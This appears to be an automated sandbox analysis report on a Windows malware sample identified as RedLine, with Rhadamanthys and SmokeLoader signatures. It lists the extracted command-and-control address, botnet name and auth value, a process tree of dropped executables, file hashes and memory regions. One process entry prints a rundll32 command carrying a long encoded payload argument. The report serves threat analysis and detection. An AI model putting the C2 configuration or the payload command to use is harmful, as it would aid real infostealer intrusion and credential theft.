Analysis

  • max time kernel
    151s
  • max time network
    163s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/01/2023, 00:02

General

  • Target
    file.exe
  • Size 208KB
  • Sample230118-abgezsfa8w
  • SHA256 4b4ef24c4e11af25dd9df904bdb9be6fb9ce5c742201e914c61e4f1eae3209a7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • TestedPotikUodated

C2
  • 82.115.223.9:15486

Attributes
  • auth_value

    85a219bdf260de0a4b8a6127147534fe

Signatures

  • Detect rhadamanthys stealer shellcode 2 IoCs
  • Detects Smokeloader packer 2 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Loads dropped DLL 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 25 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:1384
  • C:\Users\Admin\AppData\Local\Temp\D31F.exe
    C:\Users\Admin\AppData\Local\Temp\D31F.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:4504
  • C:\Users\Admin\AppData\Local\Temp\5417.exe
    C:\Users\Admin\AppData\Local\Temp\5417.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2036
    • C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\Waeeuireedsay.tmp",Oqahautwaqfe
      2⤵
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious use of AdjustPrivilegeToken
      PID:4764
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19023
        3⤵
          PID:3308
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 560
        2⤵
        • Program crash
        PID:1136
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2036 -ip 2036
      1⤵
        PID:3588
      • C:\Users\Admin\AppData\Local\Temp\876D.exe
        C:\Users\Admin\AppData\Local\Temp\876D.exe
        1⤵
        • Executes dropped EXE
        PID:2444
      • C:\Users\Admin\AppData\Local\Temp\9578.exe
        C:\Users\Admin\AppData\Local\Temp\9578.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1100
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          2⤵
            PID:2012
        • C:\Users\Admin\AppData\Local\Temp\A1FC.exe
          C:\Users\Admin\AppData\Local\Temp\A1FC.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1776
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            2⤵
              PID:4024
          • C:\Users\Admin\AppData\Local\Temp\AA0B.exe
            C:\Users\Admin\AppData\Local\Temp\AA0B.exe
            1⤵
            • Executes dropped EXE
            PID:1656
            • C:\Windows\system32\rundll32.exe
              "C:\Users\Admin\AppData\Roaming\nsis_unse5903af.dll",PrintUIEntry |5CQkOhmAAAA|1TKr5GsMwYD|67sDqg8OAAl|xYmwxC0TNSO|1k8B3tZkgiyf2sAZQByAG4XAP9sADMAMgAuAKVkHwBs8|AtBQPz8Gu|ADkAQwBxPwB2+wBZHwBGAFIATM8AOAA3OwAtAVlI|4PsKOgEAgAA|0iDxCjDzMzM|0yJRCQYSIlUfyQQSIlMJAhdAf9Ii0QkMEiJBO0kgQE4SG8ACEjHt0QkEC0B6w6BARCvSIPAAY8BEIEBQNtIOZYAcyWfA4sM|yRIA8hIi8FI64tMqwFUewAD0Uj|i8qKCYgI68F+ZgVlSIsEJWDz8P8zyUiLUBhIO||RdDZIg8IgSP+LAkg7wnQqZv+DeEgYdRpMi|9AUGZBgzhrdN0HERFLdQgREHgQ|y50BUiLAOvV10iLSP0AwWoAQFP|VVZXQVRBVUH3VkFXXQFmgTlN|1pNi|hMi|JI34vZD4X88|BMY|9JPEGBPAlQRd8AAA+F6vPwQYv3hAmI8|CFwEiN3zwBD4TWahGDvLsJjC0BD4TH8|BE|4tnIESLXxyL|3ckRItPGEwD|+FMA9lIA|Ezf8lFhckPhKTz8P9Ni8RBixBFM||SSAPTigKEwP90HUHByg0Pvr3A+gABRAPQvxF1|+xBgfqq|A18|3QOg8EBSYPA|wRBO8lzaevG|4vBD7cMTkWL|yyLTAPrdFgzfe2qEHRRQYsUwQD|0zPJigJMi8Jv6w|BycgRA8jlEO8BQYoA1RDtM8A|M|ZBOwy24BCmAP+DxgGD+Ahy7v|rCkiLy0H|1b9JiQT3g8XkEMS|BDtvGHKvZgFB|19BXkFdQVxf915dWzMXSIHsYP0BZACL6ehm|v9||0iFwA+EmHUg60yNrwGLKxDIM||76Jt9II1fBEyN|0VGM9KLy|9U+yRogCBMi+APhPVrdSBFqBAzwIvTvpEgSIl8JCCmIHB+gCBIi|APhEt1IP6mIFBIjVYIRI2|R0BIjYwkhRFI34vY6Hz9fiCNVtVI3iAQ4iHM8|DoZ37vIESLBo1XCEEgeqYgWMohiYQkgIcS7d7z8IsO2iBYiYyxJHERBzCRIOgx7yCL|ZwtMkyLXTpIg|f7bEiKIDBMiWTfJDhMi6QaMkyJ3VyEAYQk3IcRhpJ2jRGNR0swjCTw8|C|SYvU6On8BTCK3Zx4MkiNhHgyQYD|8yGNT2xEMBj+pAKD6QF184G8|ngyIVJleHVNi3eEJPQiMZQk+DUB|8JIO9hyOIP6f2x2M0SNSUD6AE+UQbgAmACmIEDKIs|4dBlEtjDAMUmN91QkbJEgSYPobLvoa4IwSIvOpiB4|0iF|3QSi1VC+UyOMBsxSI1MJEAf|9dIgcR0IWEkLQgALQE=
              2⤵
                PID:3916

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  5417.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\5417.exe
                  • Size 1.0MB
                  • SHA256 9b1cd7ab4a272f39af448d4eb6e8977d06cb780c22d43ef3778a7623373d48e7
                  • MD5 SHA1 SHA512 SSDEEP

                  5417.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\5417.exe
                  • Size 1.0MB
                  • SHA256 9b1cd7ab4a272f39af448d4eb6e8977d06cb780c22d43ef3778a7623373d48e7
                  • MD5 SHA1 SHA512 SSDEEP

                  876D.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\876D.exe
                  • Size 3.5MB
                  • SHA256 71cb75b1d9802ab256a74a0271b247f746f40b006d3f7b72c2721dfc6cfa12a5
                  • MD5 SHA1 SHA512 SSDEEP

                  876D.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\876D.exe
                  • Size 3.5MB
                  • SHA256 71cb75b1d9802ab256a74a0271b247f746f40b006d3f7b72c2721dfc6cfa12a5
                  • MD5 SHA1 SHA512 SSDEEP

                  9578.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\9578.exe
                  • Size 1.1MB
                  • SHA256 cb6fdc529288324582af69d4dbb36c724815b6ade5aac964fe0a2eeeecf37e25
                  • MD5 SHA1 SHA512 SSDEEP

                  9578.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\9578.exe
                  • Size 1.1MB
                  • SHA256 cb6fdc529288324582af69d4dbb36c724815b6ade5aac964fe0a2eeeecf37e25
                  • MD5 SHA1 SHA512 SSDEEP

                  A1FC.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\A1FC.exe
                  • Size 1.1MB
                  • SHA256 cb6fdc529288324582af69d4dbb36c724815b6ade5aac964fe0a2eeeecf37e25
                  • MD5 SHA1 SHA512 SSDEEP

                  A1FC.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\A1FC.exe
                  • Size 1.1MB
                  • SHA256 cb6fdc529288324582af69d4dbb36c724815b6ade5aac964fe0a2eeeecf37e25
                  • MD5 SHA1 SHA512 SSDEEP

                  AA0B.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\AA0B.exe
                  • Size 408KB
                  • SHA256 4d8353ac997523281901012b9f49e9e9afaca373b199393d4a56ab6bd1562071
                  • MD5 SHA1 SHA512 SSDEEP

                  AA0B.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\AA0B.exe
                  • Size 408KB
                  • SHA256 4d8353ac997523281901012b9f49e9e9afaca373b199393d4a56ab6bd1562071
                  • MD5 SHA1 SHA512 SSDEEP

                  D31F.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\D31F.exe
                  • Size 213KB
                  • SHA256 3e0cf89ce80858b115afabd017481839164d861c3ea12c84d5c98ace29c466bc
                  • MD5 SHA1 SHA512 SSDEEP

                  D31F.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\D31F.exe
                  • Size 213KB
                  • SHA256 3e0cf89ce80858b115afabd017481839164d861c3ea12c84d5c98ace29c466bc
                  • MD5 SHA1 SHA512 SSDEEP

                  Waeeuireedsay.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\Waeeuireedsay.tmp
                  • Size 789KB
                  • SHA256 58f15bf40913e3a5ee03d0998e447a5de96d36cb96d9733dd57f6708220b9923
                  • MD5 SHA1 SHA512 SSDEEP

                  Waeeuireedsay.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\Waeeuireedsay.tmp
                  • Size 789KB
                  • SHA256 58f15bf40913e3a5ee03d0998e447a5de96d36cb96d9733dd57f6708220b9923
                  • MD5 SHA1 SHA512 SSDEEP

                  nsis_unse5903af.dll

                  • Path C:\Users\Admin\AppData\Roaming\nsis_unse5903af.dll
                  • Size 49KB
                  • SHA256 438c088568093ad767802ba5e132efbd4e643ddf62e4996565c3b46719e3e576
                  • MD5 SHA1 SHA512 SSDEEP

                  nsis_unse5903af.dll

                  • Path C:\Users\Admin\AppData\Roaming\nsis_unse5903af.dll
                  • Size 49KB
                  • SHA256 438c088568093ad767802ba5e132efbd4e643ddf62e4996565c3b46719e3e576
                  • MD5 SHA1 SHA512 SSDEEP

                  memory/1100-169-0x00000000004C0000-0x00000000005DA000-memory.dmp

                  memory/1100-174-0x0000000004F80000-0x0000000004F8A000-memory.dmp

                  memory/1100-173-0x0000000004FA0000-0x0000000005032000-memory.dmp

                  memory/1384-133-0x0000000002CEE000-0x0000000002CFE000-memory.dmp

                  memory/1384-137-0x0000000000400000-0x0000000002B9C000-memory.dmp

                  memory/1384-136-0x0000000002CEE000-0x0000000002CFE000-memory.dmp

                  memory/1384-135-0x0000000000400000-0x0000000002B9C000-memory.dmp

                  memory/1384-134-0x0000000004790000-0x0000000004799000-memory.dmp

                  memory/1656-200-0x000000000126F000-0x0000000001281000-memory.dmp

                  memory/1656-184-0x0000000000400000-0x0000000000431000-memory.dmp

                  memory/1656-185-0x000000000126F000-0x0000000001281000-memory.dmp

                  memory/1656-186-0x0000000002F80000-0x0000000002F9D000-memory.dmp

                  memory/1656-201-0x0000000002F80000-0x0000000002F9D000-memory.dmp

                  memory/1776-175-0x0000000006220000-0x0000000006242000-memory.dmp

                  memory/1776-172-0x00000000059F0000-0x0000000005F94000-memory.dmp

                  memory/2012-177-0x0000000000400000-0x0000000000432000-memory.dmp

                  memory/2012-206-0x0000000004F50000-0x0000000004F62000-memory.dmp

                  memory/2036-150-0x0000000000400000-0x0000000002C74000-memory.dmp

                  memory/2036-164-0x0000000000400000-0x0000000002C74000-memory.dmp

                  memory/2036-149-0x0000000004B40000-0x0000000004C6B000-memory.dmp

                  memory/2036-148-0x000000000494E000-0x0000000004A36000-memory.dmp

                  memory/2444-157-0x0000000140000000-0x000000014061E000-memory.dmp

                  memory/3308-197-0x0000019A32930000-0x0000019A32BD3000-memory.dmp

                  memory/3308-196-0x00000000006A0000-0x0000000000932000-memory.dmp

                  memory/3308-199-0x0000019A343A0000-0x0000019A344E0000-memory.dmp

                  memory/3308-198-0x0000019A343A0000-0x0000019A344E0000-memory.dmp

                  memory/3916-203-0x00007FF4A6600000-0x00007FF4A66FA000-memory.dmp

                  memory/3916-195-0x0000018FC9520000-0x0000018FC9527000-memory.dmp

                  memory/4024-204-0x00000000055C0000-0x0000000005BD8000-memory.dmp

                  memory/4024-205-0x0000000005130000-0x000000000523A000-memory.dmp

                  memory/4504-143-0x0000000000400000-0x0000000002B9D000-memory.dmp

                  memory/4504-142-0x0000000002CA0000-0x0000000002CA9000-memory.dmp

                  memory/4504-144-0x0000000000400000-0x0000000002B9D000-memory.dmp

                  memory/4504-141-0x0000000002E7D000-0x0000000002E8E000-memory.dmp

                  memory/4764-190-0x00000000045C0000-0x0000000004700000-memory.dmp

                  memory/4764-183-0x00000000045C0000-0x0000000004700000-memory.dmp

                  memory/4764-182-0x00000000045C0000-0x0000000004700000-memory.dmp

                  memory/4764-188-0x00000000045C0000-0x0000000004700000-memory.dmp

                  memory/4764-202-0x0000000006120000-0x0000000006C83000-memory.dmp

                  memory/4764-193-0x00000000045C0000-0x0000000004700000-memory.dmp

                  memory/4764-181-0x0000000006120000-0x0000000006C83000-memory.dmp

                  memory/4764-180-0x0000000006120000-0x0000000006C83000-memory.dmp

                  memory/4764-192-0x00000000045C0000-0x0000000004700000-memory.dmp